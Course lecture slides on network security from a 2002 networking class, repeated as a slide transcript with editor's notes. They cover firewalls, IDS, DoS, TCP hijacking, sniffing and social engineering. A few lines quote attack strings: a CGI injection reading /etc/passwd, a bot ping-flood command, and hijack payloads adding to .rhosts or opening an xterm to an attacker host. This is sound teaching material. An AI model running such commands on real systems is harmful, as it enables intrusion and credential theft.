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Network Security

         Justin Weisz
         jweisz@andrew.cmu.edu




15-441 Networks Fall 2002        1
A Brief History of the World




15-441 Networks          2
Overview
   What is security?
   Why do we need security?
   Who is vulnerable?
   Common security attacks and countermeasures
    –   Firewalls & Intrusion Detection Systems
    –   Denial of Service Attacks
    –   TCP Attacks
    –   Packet Sniffing
    –   Social Problems

15-441 Networks                                   3
What is “Security”
   Dictionary.com says:
    – 1. Freedom from risk or danger; safety.
    – 2. Freedom from doubt, anxiety, or fear; confidence.
    – 3. Something that gives or assures safety, as:
       • 1. A group or department of private guards: Call building security
         if a visitor acts suspicious.
       • 2. Measures adopted by a government to prevent espionage,
         sabotage, or attack.
       • 3. Measures adopted, as by a business or homeowner, to
         prevent a crime such as burglary or assault: Security was lax at
         the firm's smaller plant.
    …etc.

15-441 Networks                                             4
What is “Security”
   Dictionary.com says:
    – 1. Freedom from risk or danger; safety.
    – 2. Freedom from doubt, anxiety, or fear; confidence.
    – 3. Something that gives or assures safety, as:
       • 1. A group or department of private guards: Call building security
         if a visitor acts suspicious.
       • 2. Measures adopted by a government to prevent espionage,
         sabotage, or attack.
       • 3. Measures adopted, as by a business or homeowner, to
         prevent a crime such as burglary or assault: Security was lax at
         the firm's smaller plant.
    …etc.

15-441 Networks                                             5
What is “Security”
   Dictionary.com says:
    – 1. Freedom from risk or danger; safety.
    – 2. Freedom from doubt, anxiety, or fear; confidence.
    – 3. Something that gives or assures safety, as:
       • 1. A group or department of private guards: Call building security
         if a visitor acts suspicious.
       • 2. Measures adopted by a government to prevent espionage,
         sabotage, or attack.
       • 3. Measures adopted, as by a business or homeowner, to
         prevent a crime such as burglary or assault: Security was lax at
         the firm's smaller plant.
    …etc.

15-441 Networks                                             6
What is “Security”
   Dictionary.com says:
    – 1. Freedom from risk or danger; safety.
    – 2. Freedom from doubt, anxiety, or fear; confidence.
    – 3. Something that gives or assures safety, as:
       • 1. A group or department of private guards: Call building security
         if a visitor acts suspicious.
       • 2. Measures adopted by a government to prevent espionage,
         sabotage, or attack.
       • 3. Measures adopted, as by a business or homeowner, to
         prevent a crime such as burglary or assault: Security was lax at
         the firm's smaller plant.
    …etc.

15-441 Networks                                             7
Why do we need security?
 Protect
        vital information while still allowing
 access to those who need it
  – Trade secrets, medical records, etc.
 Provideauthentication and access control for
 resources
  – Ex: AFS
 Guarantee       availability of resources
  – Ex: 5 9’s (99.999% reliability)

15-441 Networks                               8
Who is vulnerable?
 Financial institutions and banks
 Internet service providers
 Pharmaceutical companies
 Government and defense agencies
 Contractors to various government agencies
 Multinational corporations
 ANYONE ON THE NETWORK


15-441 Networks                    9
Common security attacks and
their countermeasures
   Finding a way into the network
    – Firewalls
   Exploiting software bugs, buffer overflows
    – Intrusion Detection Systems
   Denial of Service
    – Ingress filtering, IDS
   TCP hijacking
    – IPSec
   Packet sniffing
    – Encryption (SSH, SSL, HTTPS)
   Social problems
    – Education

15-441 Networks                                  10
Firewalls
 Basic problem – many network applications
 and protocols have security problems that
 are fixed over time
  – Difficult for users to keep up with changes and
    keep host secure
  – Solution
     • Administrators limit access to end hosts by using a
       firewall
     • Firewall is kept up-to-date by administrators

15-441 Networks                                  11
Firewalls
A   firewall is like a castle with a drawbridge
  – Only one point of access into the network
  – This can be good or bad
 Can   be hardware or software
  – Ex. Some routers come with firewall functionality
  – ipfw, ipchains, pf on Unix systems, Windows XP
    and Mac OS X have built in firewalls



15-441 Networks                           12
Firewalls

     Internet                     DMZ
                             Web server, email
                             server, web proxy,
                             etc
                  Firewall




                                                  Firewall
                                                             Intranet


15-441 Networks                                               13
Firewalls
   Used to filter packets based on a combination of
    features
    – These are called packet filtering firewalls
       • There are other types too, but they will not be discussed
    – Ex. Drop packets with destination port of 23 (Telnet)
    – Can use any combination of IP/UDP/TCP header
      information
    – man ipfw on unix47 for much more detail
   But why don’t we just turn Telnet off?


15-441 Networks                                             14
Firewalls
 Here
     is what a computer with a default
 Windows XP install looks like:
  –   135/tcp open loc-srv
  –   139/tcp open netbios-ssn
  –   445/tcp open microsoft-ds
  –   1025/tcp open NFS-or-IIS
  –   3389/tcp open ms-term-serv
  –   5000/tcp open UPnP
 Mightneed some of these services, or might
 not be able to control all the machines on the
 network

15-441 Networks                      15
Firewalls
 What    does a firewall rule look like?
  – Depends on the firewall used
 Example:    ipfw
  – /sbin/ipfw add deny tcp from cracker.evil.org to
    wolf.tambov.su telnet
 Other  examples: WinXP & Mac OS X have
 built in and third party firewalls
  – Different graphical user interfaces
  – Varying amounts of complexity and power
15-441 Networks                             16
Intrusion Detection
 Usedto monitor for “suspicious activity” on a
 network
  – Can protect against known software exploits, like
    buffer overflows
 Open   Source IDS: Snort, www.snort.org




15-441 Networks                           17
Intrusion Detection
   Uses “intrusion signatures”
    – Well known patterns of behavior
       • Ping sweeps, port scanning, web server indexing, OS
         fingerprinting, DoS attempts, etc.
   Example
    – IRIX vulnerability in webdist.cgi
    – Can make a rule to drop packets containing the line
       • “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”

   However, IDS is only useful if contingency plans are
    in place to curb attacks as they are occurring

15-441 Networks                                         18
Minor Detour…
 Say we got the /etc/passwd file from the IRIX
  server
 What can we do with it?




15-441 Networks                      19
Dictionary Attack
   We can run a dictionary attack on the passwords
    – The passwords in /etc/passwd are encrypted with the
      crypt(3) function (one-way hash)
    – Can take a dictionary of words, crypt() them all, and
      compare with the hashed passwords
   This is why your passwords should be meaningless
    random junk!
    – For example, “sdfo839f” is a good password
       • That is not my andrew password
       • Please don’t try it either


15-441 Networks                                    20
Denial of Service
 Purpose:  Make a network service unusable,
  usually by overloading the server or network
 Many different kinds of DoS attacks
  – SYN flooding
  – SMURF
  – Distributed attacks
  – Mini Case Study: Code-Red


15-441 Networks                      21
Denial of Service
   SYN flooding attack
   Send SYN packets with bogus source address
    – Why?
   Server responds with SYN ACK and keeps state
    about TCP half-open connection
    – Eventually, server memory is exhausted with this state
   Solution: use “SYN cookies”
    – In response to a SYN, create a special “cookie” for the
      connection, and forget everything else
    – Then, can recreate the forgotten information when the
      ACK comes in from a legitimate connection
15-441 Networks                                    22
Denial of Service




15-441 Networks     23
Denial of Service
 SMURF
  – Source IP address of a broadcast ping is forged
  – Large number of machines respond back to
    victim, overloading it




15-441 Networks                          24
Denial of Service
                  ICMP echo (spoofed source address of victim)
                         Sent to IP broadcast address
                  ICMP echo reply




                                  Internet



            Perpetrator                                Victim




15-441 Networks                                                  25
Denial of Service
   Distributed Denial of Service
    – Same techniques as regular DoS, but on a much larger
      scale
    – Example: Sub7Server Trojan and IRC bots
       • Infect a large number of machines with a “zombie” program
       • Zombie program logs into an IRC channel and awaits commands
       • Example:
          – Bot command: !p4 207.71.92.193
          – Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
          – Sends 10,000 64k packets to the host (655MB!)
       • Read more at: http://grc.com/dos/grcdos.htm


15-441 Networks                                              26
Denial of Service
 Mini   Case Study – CodeRed
  – July 19, 2001: over 359,000 computers infected
    with Code-Red in less than 14 hours
  – Used a recently known buffer exploit in Microsoft
    IIS
  – Damages estimated in excess of $2.6 billion




15-441 Networks                           27
Denial of Service
 Why is this under the Denial of Service
 category?
  – CodeRed launched a DDOS attack against
    www1.whitehouse.gov from the 20th to the 28th
    of every month!
  – Spent the rest of its time infecting other hosts




15-441 Networks                           28
Denial of Service
 How   can we protect ourselves?
  – Ingress filtering
     • If the source IP of a packet comes in on an interface
       which does not have a route to that packet, then drop
       it
     • RFC 2267 has more information about this
  – Stay on top of CERT advisories and the latest
    security patches
     • A fix for the IIS buffer overflow was released sixteen
       days before CodeRed had been deployed!

15-441 Networks                                  29
TCP Attacks
 Recall   how IP works…
  – End hosts create IP packets and routers process
    them purely based on destination address alone
 Problem: End hosts may lie about other
 fields which do not affect delivery
  – Source address – host may trick destination into
    believing that the packet is from a trusted source
     • Especially applications which use IP addresses as a
       simple authentication method
     • Solution – use better authentication methods

15-441 Networks                                30
TCP Attacks
 TCP   connections have associated state
  – Starting sequence numbers, port numbers
 Problem    – what if an attacker learns these
 values?
  – Port numbers are sometimes well known to begin
    with (ex. HTTP uses port 80)
  – Sequence numbers are sometimes chosen in
    very predictable ways

15-441 Networks                         31
TCP Attacks
 Ifan attacker learns the associated TCP
  state for the connection, then the connection
  can be hijacked!
 Attacker can insert malicious data into the
  TCP stream, and the recipient will believe it
  came from the original source
   – Ex. Instead of downloading and running new
     program, you download a virus and execute it

15-441 Networks                           32
TCP Attacks
 Say   hello to Alice, Bob and Mr. Big Ears




15-441 Networks                        33
TCP Attacks
 Alice
     and Bob have an established TCP
 connection




15-441 Networks                 34
TCP Attacks
 Mr.
    Big Ears lies on the path between Alice
 and Bob on the network
  – He can intercept all of their packets




15-441 Networks                             35
TCP Attacks
 First,
       Mr. Big Ears must drop all of Alice’s
  packets since they must not be delivered to
  Bob (why?)


                  Packets

                                      The Void



15-441 Networks                      36
TCP Attacks
 Then,Mr. Big Ears sends his malicious
 packet with the next ISN (sniffed from the
 network)




                              ISN, SRC=Alice


15-441 Networks                      37
TCP Attacks
 Whatif Mr. Big Ears is unable to sniff the
 packets between Alice and Bob?
  – Can just DoS Alice instead of dropping her
    packets
  – Can just send guesses of what the ISN is until it
    is accepted
 How   do you know when the ISN is accepted?
  – Mitnick: payload is “add self to .rhosts”
  – Or, “xterm -display MrBigEars:0”

15-441 Networks                             38
TCP Attacks
 Whyare these types of TCP attacks so
 dangerous?




    Web server                     Trusting web client


                  Malicious user
15-441 Networks                         39
TCP Attacks
 How do we prevent this?
 IPSec
  – Provides source authentication, so Mr. Big Ears
    cannot pretend to be Alice
  – Encrypts data before transport, so Mr. Big Ears
    cannot talk to Bob without knowing what the
    session key is



15-441 Networks                          40
Five Minute Break
 For
    your enjoyment, here is something
 completely unrelated to this lecture:




15-441 Networks                    41
Packet Sniffing
 Recall  how Ethernet works …
 When someone wants to send a packet to
  some else …
 They put the bits on the wire with the
  destination MAC address …
 And remember that other hosts are listening
  on the wire to detect for collisions …
 It couldn’t get any easier to figure out what
  data is being transmitted over the network!
15-441 Networks                       42
Packet Sniffing
 This works for wireless too!
 In fact, it works for any broadcast-based
  medium




15-441 Networks                       43
Packet Sniffing
 What kinds of data can we get?
 Asked another way, what kind of information
  would be most useful to a malicious user?
 Answer: Anything in plain text
  – Passwords are the most popular




15-441 Networks                      44
Packet Sniffing
   How can we protect ourselves?
   SSH, not Telnet
    – Many people at CMU still use Telnet and send their password in the
      clear (use PuTTY instead!)
    – Now that I have told you this, please do not exploit this information
    – Packet sniffing is, by the way, prohibited by Computing Services
   HTTP over SSL
    – Especially when making purchases with credit cards!
   SFTP, not FTP
    – Unless you really don’t care about the password or data
    – Can also use KerbFTP (download from MyAndrew)
   IPSec
    – Provides network-layer confidentiality
15-441 Networks                                             45
Social Problems
 Peoplecan be just as dangerous as
 unprotected computer systems
  – People can be lied to, manipulated, bribed,
    threatened, harmed, tortured, etc. to give up
    valuable information
  – Most humans will breakdown once they are at
    the “harmed” stage, unless they have been
    specially trained
     • Think government here…

15-441 Networks                          46
Social Problems
 Fun   Example 1:
  – “Hi, I’m your AT&T rep, I’m stuck on a pole. I
    need you to punch a bunch of buttons for me”




15-441 Networks                           47
Social Problems
 Fun   Example 2:
  – Someone calls you in the middle of the night
     • “Have you been calling Egypt for the last six hours?”
     • “No”
     • “Well, we have a call that’s actually active right now,
       it’s on your calling card and it’s to Egypt and as a
       matter of fact, you’ve got about $2000 worth of
       charges on your card and … read off your AT&T card
       number and PIN and then I’ll get rid of the charge for
       you”

15-441 Networks                                   48
Social Problems
 Fun   Example 3:
  – Who saw Office Space?
  – In the movie, the three disgruntled employees
    installed a money-stealing worm onto the
    companies systems
  – They did this from inside the company, where
    they had full access to the companies systems
     • What security techniques can we use to prevent this
       type of access?

15-441 Networks                                49
Social Problems
   There aren’t always solutions to all of these problems
    – Humans will continue to be tricked into giving out information they
      shouldn’t
    – Educating them may help a little here, but, depending on how bad
      you want the information, there are a lot of bad things you can do to
      get it
   So, the best that can be done is to implement a wide variety
    of solutions and more closely monitor who has access to
    what network resources and information
    – But, this solution is still not perfect




15-441 Networks                                             50
Conclusions
 The    Internet works only because we implicitly
  trust one another
 It is very easy to exploit this trust
 The same holds true for software
 It is important to stay on top of the latest
  CERT security advisories to know how to
  patch any security holes


15-441 Networks                        51
Security related URLs
 http://www.robertgraham
  .com/pubs/network-intrusion-detection.html
 http://online.securityfocus.com/infocus/1527
 http://www.snort.org/
 http://www.cert.org/
 http://www.nmap.org/
 http://grc.com/dos/grcdos.htm
 http://lcamtuf.coredump.cx/newtcp/


15-441 Networks                      52

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Lec21 security

  • 1. Network Security Justin Weisz jweisz@andrew.cmu.edu 15-441 Networks Fall 2002 1
  • 2. A Brief History of the World 15-441 Networks 2
  • 3. Overview  What is security?  Why do we need security?  Who is vulnerable?  Common security attacks and countermeasures – Firewalls & Intrusion Detection Systems – Denial of Service Attacks – TCP Attacks – Packet Sniffing – Social Problems 15-441 Networks 3
  • 4. What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks 4
  • 5. What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks 5
  • 6. What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks 6
  • 7. What is “Security”  Dictionary.com says: – 1. Freedom from risk or danger; safety. – 2. Freedom from doubt, anxiety, or fear; confidence. – 3. Something that gives or assures safety, as: • 1. A group or department of private guards: Call building security if a visitor acts suspicious. • 2. Measures adopted by a government to prevent espionage, sabotage, or attack. • 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks 7
  • 8. Why do we need security?  Protect vital information while still allowing access to those who need it – Trade secrets, medical records, etc.  Provideauthentication and access control for resources – Ex: AFS  Guarantee availability of resources – Ex: 5 9’s (99.999% reliability) 15-441 Networks 8
  • 9. Who is vulnerable?  Financial institutions and banks  Internet service providers  Pharmaceutical companies  Government and defense agencies  Contractors to various government agencies  Multinational corporations  ANYONE ON THE NETWORK 15-441 Networks 9
  • 10. Common security attacks and their countermeasures  Finding a way into the network – Firewalls  Exploiting software bugs, buffer overflows – Intrusion Detection Systems  Denial of Service – Ingress filtering, IDS  TCP hijacking – IPSec  Packet sniffing – Encryption (SSH, SSL, HTTPS)  Social problems – Education 15-441 Networks 10
  • 11. Firewalls  Basic problem – many network applications and protocols have security problems that are fixed over time – Difficult for users to keep up with changes and keep host secure – Solution • Administrators limit access to end hosts by using a firewall • Firewall is kept up-to-date by administrators 15-441 Networks 11
  • 12. Firewalls A firewall is like a castle with a drawbridge – Only one point of access into the network – This can be good or bad  Can be hardware or software – Ex. Some routers come with firewall functionality – ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X have built in firewalls 15-441 Networks 12
  • 13. Firewalls Internet DMZ Web server, email server, web proxy, etc Firewall Firewall Intranet 15-441 Networks 13
  • 14. Firewalls  Used to filter packets based on a combination of features – These are called packet filtering firewalls • There are other types too, but they will not be discussed – Ex. Drop packets with destination port of 23 (Telnet) – Can use any combination of IP/UDP/TCP header information – man ipfw on unix47 for much more detail  But why don’t we just turn Telnet off? 15-441 Networks 14
  • 15. Firewalls  Here is what a computer with a default Windows XP install looks like: – 135/tcp open loc-srv – 139/tcp open netbios-ssn – 445/tcp open microsoft-ds – 1025/tcp open NFS-or-IIS – 3389/tcp open ms-term-serv – 5000/tcp open UPnP  Mightneed some of these services, or might not be able to control all the machines on the network 15-441 Networks 15
  • 16. Firewalls  What does a firewall rule look like? – Depends on the firewall used  Example: ipfw – /sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet  Other examples: WinXP & Mac OS X have built in and third party firewalls – Different graphical user interfaces – Varying amounts of complexity and power 15-441 Networks 16
  • 17. Intrusion Detection  Usedto monitor for “suspicious activity” on a network – Can protect against known software exploits, like buffer overflows  Open Source IDS: Snort, www.snort.org 15-441 Networks 17
  • 18. Intrusion Detection  Uses “intrusion signatures” – Well known patterns of behavior • Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc.  Example – IRIX vulnerability in webdist.cgi – Can make a rule to drop packets containing the line • “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”  However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring 15-441 Networks 18
  • 19. Minor Detour…  Say we got the /etc/passwd file from the IRIX server  What can we do with it? 15-441 Networks 19
  • 20. Dictionary Attack  We can run a dictionary attack on the passwords – The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash) – Can take a dictionary of words, crypt() them all, and compare with the hashed passwords  This is why your passwords should be meaningless random junk! – For example, “sdfo839f” is a good password • That is not my andrew password • Please don’t try it either 15-441 Networks 20
  • 21. Denial of Service  Purpose: Make a network service unusable, usually by overloading the server or network  Many different kinds of DoS attacks – SYN flooding – SMURF – Distributed attacks – Mini Case Study: Code-Red 15-441 Networks 21
  • 22. Denial of Service  SYN flooding attack  Send SYN packets with bogus source address – Why?  Server responds with SYN ACK and keeps state about TCP half-open connection – Eventually, server memory is exhausted with this state  Solution: use “SYN cookies” – In response to a SYN, create a special “cookie” for the connection, and forget everything else – Then, can recreate the forgotten information when the ACK comes in from a legitimate connection 15-441 Networks 22
  • 24. Denial of Service  SMURF – Source IP address of a broadcast ping is forged – Large number of machines respond back to victim, overloading it 15-441 Networks 24
  • 25. Denial of Service ICMP echo (spoofed source address of victim) Sent to IP broadcast address ICMP echo reply Internet Perpetrator Victim 15-441 Networks 25
  • 26. Denial of Service  Distributed Denial of Service – Same techniques as regular DoS, but on a much larger scale – Example: Sub7Server Trojan and IRC bots • Infect a large number of machines with a “zombie” program • Zombie program logs into an IRC channel and awaits commands • Example: – Bot command: !p4 207.71.92.193 – Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 – Sends 10,000 64k packets to the host (655MB!) • Read more at: http://grc.com/dos/grcdos.htm 15-441 Networks 26
  • 27. Denial of Service  Mini Case Study – CodeRed – July 19, 2001: over 359,000 computers infected with Code-Red in less than 14 hours – Used a recently known buffer exploit in Microsoft IIS – Damages estimated in excess of $2.6 billion 15-441 Networks 27
  • 28. Denial of Service  Why is this under the Denial of Service category? – CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month! – Spent the rest of its time infecting other hosts 15-441 Networks 28
  • 29. Denial of Service  How can we protect ourselves? – Ingress filtering • If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it • RFC 2267 has more information about this – Stay on top of CERT advisories and the latest security patches • A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed! 15-441 Networks 29
  • 30. TCP Attacks  Recall how IP works… – End hosts create IP packets and routers process them purely based on destination address alone  Problem: End hosts may lie about other fields which do not affect delivery – Source address – host may trick destination into believing that the packet is from a trusted source • Especially applications which use IP addresses as a simple authentication method • Solution – use better authentication methods 15-441 Networks 30
  • 31. TCP Attacks  TCP connections have associated state – Starting sequence numbers, port numbers  Problem – what if an attacker learns these values? – Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) – Sequence numbers are sometimes chosen in very predictable ways 15-441 Networks 31
  • 32. TCP Attacks  Ifan attacker learns the associated TCP state for the connection, then the connection can be hijacked!  Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source – Ex. Instead of downloading and running new program, you download a virus and execute it 15-441 Networks 32
  • 33. TCP Attacks  Say hello to Alice, Bob and Mr. Big Ears 15-441 Networks 33
  • 34. TCP Attacks  Alice and Bob have an established TCP connection 15-441 Networks 34
  • 35. TCP Attacks  Mr. Big Ears lies on the path between Alice and Bob on the network – He can intercept all of their packets 15-441 Networks 35
  • 36. TCP Attacks  First, Mr. Big Ears must drop all of Alice’s packets since they must not be delivered to Bob (why?) Packets The Void 15-441 Networks 36
  • 37. TCP Attacks  Then,Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network) ISN, SRC=Alice 15-441 Networks 37
  • 38. TCP Attacks  Whatif Mr. Big Ears is unable to sniff the packets between Alice and Bob? – Can just DoS Alice instead of dropping her packets – Can just send guesses of what the ISN is until it is accepted  How do you know when the ISN is accepted? – Mitnick: payload is “add self to .rhosts” – Or, “xterm -display MrBigEars:0” 15-441 Networks 38
  • 39. TCP Attacks  Whyare these types of TCP attacks so dangerous? Web server Trusting web client Malicious user 15-441 Networks 39
  • 40. TCP Attacks  How do we prevent this?  IPSec – Provides source authentication, so Mr. Big Ears cannot pretend to be Alice – Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is 15-441 Networks 40
  • 41. Five Minute Break  For your enjoyment, here is something completely unrelated to this lecture: 15-441 Networks 41
  • 42. Packet Sniffing  Recall how Ethernet works …  When someone wants to send a packet to some else …  They put the bits on the wire with the destination MAC address …  And remember that other hosts are listening on the wire to detect for collisions …  It couldn’t get any easier to figure out what data is being transmitted over the network! 15-441 Networks 42
  • 43. Packet Sniffing  This works for wireless too!  In fact, it works for any broadcast-based medium 15-441 Networks 43
  • 44. Packet Sniffing  What kinds of data can we get?  Asked another way, what kind of information would be most useful to a malicious user?  Answer: Anything in plain text – Passwords are the most popular 15-441 Networks 44
  • 45. Packet Sniffing  How can we protect ourselves?  SSH, not Telnet – Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!) – Now that I have told you this, please do not exploit this information – Packet sniffing is, by the way, prohibited by Computing Services  HTTP over SSL – Especially when making purchases with credit cards!  SFTP, not FTP – Unless you really don’t care about the password or data – Can also use KerbFTP (download from MyAndrew)  IPSec – Provides network-layer confidentiality 15-441 Networks 45
  • 46. Social Problems  Peoplecan be just as dangerous as unprotected computer systems – People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information – Most humans will breakdown once they are at the “harmed” stage, unless they have been specially trained • Think government here… 15-441 Networks 46
  • 47. Social Problems  Fun Example 1: – “Hi, I’m your AT&T rep, I’m stuck on a pole. I need you to punch a bunch of buttons for me” 15-441 Networks 47
  • 48. Social Problems  Fun Example 2: – Someone calls you in the middle of the night • “Have you been calling Egypt for the last six hours?” • “No” • “Well, we have a call that’s actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact, you’ve got about $2000 worth of charges on your card and … read off your AT&T card number and PIN and then I’ll get rid of the charge for you” 15-441 Networks 48
  • 49. Social Problems  Fun Example 3: – Who saw Office Space? – In the movie, the three disgruntled employees installed a money-stealing worm onto the companies systems – They did this from inside the company, where they had full access to the companies systems • What security techniques can we use to prevent this type of access? 15-441 Networks 49
  • 50. Social Problems  There aren’t always solutions to all of these problems – Humans will continue to be tricked into giving out information they shouldn’t – Educating them may help a little here, but, depending on how bad you want the information, there are a lot of bad things you can do to get it  So, the best that can be done is to implement a wide variety of solutions and more closely monitor who has access to what network resources and information – But, this solution is still not perfect 15-441 Networks 50
  • 51. Conclusions  The Internet works only because we implicitly trust one another  It is very easy to exploit this trust  The same holds true for software  It is important to stay on top of the latest CERT security advisories to know how to patch any security holes 15-441 Networks 51
  • 52. Security related URLs  http://www.robertgraham .com/pubs/network-intrusion-detection.html  http://online.securityfocus.com/infocus/1527  http://www.snort.org/  http://www.cert.org/  http://www.nmap.org/  http://grc.com/dos/grcdos.htm  http://lcamtuf.coredump.cx/newtcp/ 15-441 Networks 52

Editor's Notes

  1. In other words, having systems in place beforehand which prevent attacks before they begin.
  2. Related to the first definition, having peace of mind knowing that your systems are safe and protected.
  3. This includes contingency plans for what to do when attackers strike, keeping up with the latest CERT advisories, hiring network security consultants to find insecurities in your network, etc.
  4. Why good? Because it lets you filter what comes in and what goes out. Why bad? If that point goes down, you are cut off from everyone else. Also, may have lots of congestion at that one point.
  5. Forge source IP so that the victim can’t figure out who you are.
  6. Alice can send a RESET
  7. Malicious user can send a virus to the trusting web client, instead of the program they thought they were downloading.
  8. Security techniques: IDS can be configured to look for internal inconsistencies in traffic patterns Firewalls can be configured to block off one part of a corporate network from another part to further restrict access Can also use hardware based identification tokens with strong encryption to identify who is doing what